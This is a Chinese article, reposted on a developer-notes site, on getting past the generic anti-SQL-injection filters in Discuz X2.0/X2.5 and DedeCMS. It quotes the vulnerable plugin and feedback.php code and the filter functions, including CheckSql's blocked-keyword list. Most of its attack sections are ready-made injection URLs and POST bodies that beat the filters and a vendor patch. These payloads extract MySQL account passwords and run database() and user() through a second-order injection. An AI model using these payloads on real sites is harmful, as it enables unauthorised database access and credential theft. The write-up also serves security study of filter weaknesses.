热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

4、几种通用防注入程序绕过方法

0x00前言目前主流的CMS系统当中都会内置一些防注入的程序,例如Discuz、dedeCMS等,本篇主要介绍绕过方法。0x01Discuzx2.0防注入防注入原理

0x00 前言


目前主流的CMS系统当中都会内置一些防注入的程序,例如Discuz、dedeCMS等,本篇主要介绍绕过方法。

0x01 Discuz x2.0防注入


防注入原理

这里以Discuz最近爆出的一个插件的注入漏洞为例,来详细说明绕过方法。

漏洞本身很简单,存在于/source/plugin/v63shop/config.inc.php中的第29行getGoods函数中,代码如下所示

#!php
function getGoods($id){
      $query = DB::query('select * from '.DB::table('v63_goods').' where `id` ='.$id);
        $goods = DB::fetch($query);
        $goods['endtime2'] = date('Y-m-d',$goods['endtime']);
        $goods['price2'] = $goods['price'];
        if($goods['sort'] ==2){
            $goods['endtime2']= date('Y-m-d H:i:s',$goods['endtime']);
            $query = DB::query("select * from ".DB::table('v63_pm')." where gid='$goods[id]' order by id desc ");
            $last = DB::fetch($query);
            if(is_array($last)){
                $goods['price'] = $last['chujia'];
                $goods['uid']  = $last['uid'];
                $goods['username']  = $last['username'];
                $goods['pm'] = $last;
                if(time()+600> $goods['endtime']){
                    $goods['endtime'] = $last[time]+600;
                    $goods['endtime2']= date('Y-m-d H:i:s',$last[time]+600);
                }
            }
        }
        return $goods;
}

触发漏洞的入口点在/source/plugin/v63shop/goods.inc.php中的第6行和第8行,如图所示:
  enter image description here

下面可以构造如下请求触发漏洞了,如图所示:
  enter image description here

不过程序内置了一个_do_query_safe函数用来防注入,如图所示 :
enter image description here

这里跟踪一下_do_query_safe()函数的执行,它会对以下关键字做过滤,如图所示:

enter image description here

因为我们的url中出现了union select,所以会被过滤掉。

绕过方法

这里利用Mysql的一个特性绕过_do_query_safe函数过滤,提交如下url:

http://localhost/discuzx2/plugin.php?id=v63shop:goods&pac=info&gid=1 and 1=2 union /*!50000select*/ 1,2,3,4,
5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user

这里我们跟踪一下,绕过的具体过程。它会将/**/中间的内容去掉,然后保存在$clean变量中,其值为

select * from pre_v63_goods where `id` =1 and 1=2 union /**/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,
10,11,12,13 from mysql.user

再进一步跟踪,它会将/**/也去掉,然对$clean变量做过滤,如图所示

enter image description here
此时$clean值,如图所示
enter image description here

此时$clean变量中不在含有危险字符串,绕过_do_query_safe函数过滤,成功注入,截图如下:  enter image description here

0x02 Discuz X2.5防注入


防注入原理

Discuz X2.5版修改了防注入函数的代码,在/config/config_global.php中有如下代码,如图所示
  enter image description here

这里$_config['security']['querysafe']['afullnote'] 默认被设置为0,重点关注这一点。

这里跟踪一下失败的原因,如图所示:
  enter image description here

此时观察一下变量,_do_query_safe($sql)函数会将/**/中的内容去掉,然后存到$clean中,如图所示: 
enter image description here

其实,程序执行到这里跟Discuz X2.0没有区别,$clean的值都一样。但是关键在下面,如图所示:

enter image description here
因为前面提到$_config['security']['querysafe']['afullnote']=’0’,所以这里不会替换/**/为空,并且它在后面会判断$clean中是否会出现“/*”,如图所示:
 enter image description here

所以注入失败。

绕过方法

在Mysql当中,[email protected],可以用set @a=’abc’,来为变量赋值。这里为了合法的构造出一个单引号,目的是为了让sql正确,我们可以用@'放入sql语句当中,帮助我们绕过防注入程序检查。

这里利用如下方式绕过_do_query_safe函数过滤,如下所示:

http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=@`'` union select @`'`,2,3,4,5,6,7,
concat(user,0x3a,password),9,10,11,12,13,14 from mysql.user

这里跟踪一下执行的过程,如图所示:

enter image description here
这里有一个if判断,重点看这句

#!php
$clean = preg_replace("/'(.+?)'/s", '', $sql);

它会将$sql中单引号引起来的字符串省略掉,所以我们可以用绕过dede防住ids的思路,利用

@`'` union select @`'`

这样的方法,在下面的过滤中省掉union select,这里跟踪一下,如图所示:
  enter image description here

这样便绕过了_do_query_safe函数检测,成功绕过防注入,如图所示:
  enter image description here

不过后来Discuz官方发布了一个修复补丁,但并没用从根本上解决问题。官方的修复代码如下:
enter image description here

加了一个判断,过滤字符串中的@,但是始终没有修复根本问题,关键是上边的那个if判断会将单引号之间的内容(包括单引号)替换为空,代码如下:

#!php
if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) {
    $clean = preg_replace("/'(.+?)'/s", '', $sql);
}

[email protected],从而绕过它的过滤,利用如下所示:

http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=`'` or @`''` union select 1 from 
(select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)b
 where @`'`

这里我引入了`'`[email protected],并将第一个@`'`替换为@`''`,这样便可以替换掉第二个@,这里我们跟踪一下代码,如图所示:
  enter image description here

可以看到$clean变为

select * from pre_v63_goods where `id` =``

成功绕过补丁,如图所示:

enter image description here
 不过这样做的代价是不能再使用union select了,只能通过报错获取数据。

0x03 DedeCMS防注入


防注入原理

这里我也以最近热点分析的dedeCMS feedback.php注入漏洞为例,分析如何绕过其防注入系统。不过在这之前,还得先提一下这个漏洞。

漏洞存在于/plus/feedback.php中的第244行,代码如下所示

if($comtype == 'comments')
    {
        $arctitle = addslashes($title);
        $typeid = intval($typeid);
        $ischeck = intval($ischeck);
        $feedbacktype = preg_replace("#[^0-9a-z]#i", "", $feedbacktype);
        if($msg!='')
        {
            $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                   VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
            $rs = $dsql->ExecuteNoneQuery($inquery);
            if(!$rs)
            {
                ShowMsg(' 发表评论错误! ', '-1');
                //echo $dsql->GetError();
                exit();
            }
        }
    }
    //引用回复
    elseif ($comtype == 'reply')
    {
        $row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
        $arctitle = $row['arctitle'];
        $aid =$row['aid'];
        $msg = $quotemsg.$msg;
        $msg = HtmlReplace($msg, 2);
        $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
        $dsql->ExecuteNoneQuery($inquery);
    }

这里$title变量未初始化,所以$title可以作为可控变量,所以我们可以进一步控制$arctitle。跟踪发现$arctitle被直接带入SQL语句当中,但是这里执行的INSERT语句入库之后会将前面addslashes转义的单引号在会员还原回去。进一步跟踪下面的代码,在第268行,如下所示

$row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
$arctitle = $row['arctitle'];

这里的查询#@__feedback表正式上面INSERT的那个表,arctitle字段取出来放到$arctitle变量当中,继续跟踪到第273行,这下豁然开朗了,

$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
      VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";

这里$arctitle变量未作任何处理,就丢进了SQL语句当中,由于我们可以控制$title,虽然$arctitle是被addslashes函数处理过的数据,但是被INSERT到数据库中又被还原了,所以综合起来这就造成了二次注入漏洞。

但是这里如何利用呢,通过跟踪代码发现,整个dede在整个过程中始终没有输出信息,所以我们无法通过构造公式报错来获取数据,但是进一步分析代码发现#@__feedback表当中的msg字段会被输出。由于$arctitle变量是可控的,所以我们可以通过构造SQL语句,将我们要执行的代码插入到msg字段当中,这样便可以输出执行的内容了。

绕过方法

众所周知,dedeCMS内置了一个CheckSql()函数用来防注入,它是80sec开发的通用防注入ids程序,每当执行sql之前都要用它来检查一遍。其代码如下所示:

#!php
function CheckSql($db_string,$querytype='select')
    {
        global $cfg_COOKIE_encode;
        $clean = '';
        $error='';
        $old_pos = 0;
        $pos = -1;
        $log_file = DEDEINC.'/../data/'.md5($cfg_COOKIE_encode).'_safe.txt';
        $userIP = GetIP();
        $getUrl = GetCurUrl();

        //如果是普通查询语句,直接过滤一些特殊语法
        if($querytype=='select')
        {
            $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";

            //$notallow2 = "--|/\*";
            if(preg_match("/".$notallow1."/i", $db_string))
            {
                fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
                exit("Safe Alert: Request Error step 1 !");
            }
        }

        //完整的SQL检查
        while (TRUE)
        {
            $pos = strpos($db_string, '\'', $pos + 1);
            if ($pos === FALSE)
            {
                break;
            }
            $clean .= substr($db_string, $old_pos, $pos - $old_pos);
            while (TRUE)
            {
                $pos1 = strpos($db_string, '\'', $pos + 1);
                $pos2 = strpos($db_string, '\\', $pos + 1);
                if ($pos1 === FALSE)
                {
                    break;
                }
                elseif ($pos2 == FALSE || $pos2 > $pos1)
                {
                    $pos = $pos1;
                    break;
                }
                $pos = $pos2 + 1;
            }
            $clean .= '$s$';
            $old_pos = $pos + 1;
        }
        $clean .= substr($db_string, $old_pos);
        $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

        //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
        if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="union detect";
        }

        //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
        elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
        {
            $fail = TRUE;
            $error="comment detect";
        }

        //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
        elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="slown down detect";
        }
        elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="slown down detect";
        }
        elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="file fun detect";
        }
        elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="file fun detect";
        }

        //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
        elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="sub select detect";
        }
        if (!empty($fail))
        {
            fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
            exit("Safe Alert: Request Error step 2!");
        }
        else
        {
            return $db_string;
        }
    }

但通过跟踪这段代码发现,它有个特征就是会将两个单引号之间的内容用$s$替换,例如’select’会被替换为$s$,这里用两个@`'`包含敏感字,这样$clean变量中就不会出现敏感字,从而绕过CheckSql()函数检测。

这里可以设置title为如下代码,一方面绕过ids防注入代码检测,另一方面加一个#注释掉后面的代码,但是还要做一下变形,就是这个char(@`'`)了。因为#@__feedback的所有字段都被设置为NOT NULL,而@`'`是一个变量,默认为NULL,直接插入@`'`的话会报错,所以需要以char(@`'`)的方法转换一下。

',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,

跟踪代码,如图所示
  enter image description here

如下SQL语句

INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('1','1','游客','\',char(@`\'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,','127.0.0.1','1','1364401789', '0','0','0','feedback','1','genxor');

被替换为了

insert into `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) values ($s$,$s$,$s$,$s$,$s$,$s$,$s$, $s$,$s$,$s$,$s$,$s$,$s$);

字符串中没有任何敏感字,成功绕过CheckSql()函数检测。

POST如下请求给feedback.php,如下所示:

   action=send&comtype=comments&aid=1&iscOnfirm=yes&feedbacktype=feedback&face=1&msg=genxor¬user=1&typeid=1&title=',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,

跟踪代码,实际执行的SQL语句跟踪变量如下所示:  enter image description here

被插入数据库中的内容,如图所示:
  enter image description here

下面再POST如下内容给feedback.php,

action=send&comtype=reply&aid=1&iscOnfirm=yes&feedbacktype=feedback&fid=50

跟踪一下这里执行的SQL语句,如图所示
  enter image description here

所以select user()执行了,并且可以作为msg字段输出。

0x04 总结


在写这篇文章之前,我分析了很多常用的cms系统的源码,包括discuz、dedecms、phpwind、phpcms等,只有在discuz、dedecms这两个系统中用到通用防注入,但是它们所覆盖的用户群已将相当庞大了。如果能在发现程序注入漏洞的情况下,这些绕过方法还是很有价值的。


推荐阅读
  • 本文介绍了绕过WAF的XSS检测机制的方法,包括确定payload结构、测试和混淆。同时提出了一种构建XSS payload的方法,该payload与安全机制使用的正则表达式不匹配。通过清理用户输入、转义输出、使用文档对象模型(DOM)接收器和源、实施适当的跨域资源共享(CORS)策略和其他安全策略,可以有效阻止XSS漏洞。但是,WAF或自定义过滤器仍然被广泛使用来增加安全性。本文的方法可以绕过这种安全机制,构建与正则表达式不匹配的XSS payload。 ... [详细]
  • 背景应用安全领域,各类攻击长久以来都危害着互联网上的应用,在web应用安全风险中,各类注入、跨站等攻击仍然占据着较前的位置。WAF(Web应用防火墙)正是为防御和阻断这类攻击而存在 ... [详细]
  • 本文介绍了Windows Vista操作系统中的用户账户保护功能,该功能是为了增强系统的安全性而设计的。通过对Vista测试版的体验,可以看到系统在安全性方面的进步。该功能的引入,为用户的账户安全提供了更好的保障。 ... [详细]
  • ShiftLeft:将静态防护与运行时防护结合的持续性安全防护解决方案
    ShiftLeft公司是一家致力于将应用的静态防护和运行时防护与应用开发自动化工作流相结合以提升软件开发生命周期中的安全性的公司。传统的安全防护方式存在误报率高、人工成本高、耗时长等问题,而ShiftLeft提供的持续性安全防护解决方案能够解决这些问题。通过将下一代静态代码分析与应用开发自动化工作流中涉及的安全工具相结合,ShiftLeft帮助企业实现DevSecOps的安全部分,提供高效、准确的安全能力。 ... [详细]
  • C#设计模式之八装饰模式(Decorator Pattern)【结构型】
    一、引言今天我们要讲【结构型】设计模式的第三个模式,该模式是【装饰模式】,英文名称:DecoratorPattern。我第一次看到这个名称想到的是另外一个词语“装修”,我就说说我对“装修”的理 ... [详细]
  • 浅解XXE与Portswigger Web Sec
    XXE与PortswiggerWebSec​相关链接:​博客园​安全脉搏​FreeBuf​XML的全称为XML外部实体注入,在学习的过程中发现有回显的XXE并不多,而 ... [详细]
  • IjustinheritedsomewebpageswhichusesMooTools.IneverusedMooTools.NowIneedtoaddsomef ... [详细]
  • 腾讯安全平台部招聘安全工程师和数据分析工程师
    腾讯安全平台部正在招聘安全工程师和数据分析工程师。安全工程师负责安全问题和安全事件的跟踪和分析,提供安全测试技术支持;数据分析工程师负责安全产品相关系统数据统计和分析挖掘,通过用户行为数据建模为业务决策提供参考。招聘要求包括熟悉渗透测试和常见安全工具原理,精通Web漏洞,熟练使用多门编程语言等。有相关工作经验和在安全站点发表作品的候选人优先考虑。 ... [详细]
  • 目录浏览漏洞与目录遍历漏洞的危害及修复方法
    本文讨论了目录浏览漏洞与目录遍历漏洞的危害,包括网站结构暴露、隐秘文件访问等。同时介绍了检测方法,如使用漏洞扫描器和搜索关键词。最后提供了针对常见中间件的修复方式,包括关闭目录浏览功能。对于保护网站安全具有一定的参考价值。 ... [详细]
  • Apache Shiro 身份验证绕过漏洞 (CVE202011989) 详细解析及防范措施
    本文详细解析了Apache Shiro 身份验证绕过漏洞 (CVE202011989) 的原理和影响,并提供了相应的防范措施。Apache Shiro 是一个强大且易用的Java安全框架,常用于执行身份验证、授权、密码和会话管理。在Apache Shiro 1.5.3之前的版本中,与Spring控制器一起使用时,存在特制请求可能导致身份验证绕过的漏洞。本文还介绍了该漏洞的具体细节,并给出了防范该漏洞的建议措施。 ... [详细]
  • 使用这个技巧要达到的目标:一般来说,模型和控制器你都不会有相同的类名字。让我先创建一个取名为post的model。classPostextendsModel{}现在 ... [详细]
  • x86 linux的进程调度,x86体系结构下Linux2.6.26的进程调度和切换
    进程调度相关数据结构task_structtask_struct是进程在内核中对应的数据结构,它标识了进程的状态等各项信息。其中有一项thread_struct结构的 ... [详细]
  • Iwanttointegratesort,order,maxandoffsetinafindAllquery.Thefollowingworksfine:我想在fin ... [详细]
  • Shodan简单用法Shodan简介Shodan是互联网上最可怕的搜索引擎,与谷歌不同的是,Shodan不是在网上搜索网址,而是直接进入互联网的背后通道。Shodan可以说是一款“ ... [详细]
  • OWASP(安全防护、漏洞验证工具)开放式Web应用程序安全项目(OWASP,OpenWebApplicationSecurityProject)是一个组织 ... [详细]
author-avatar
hellopc
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有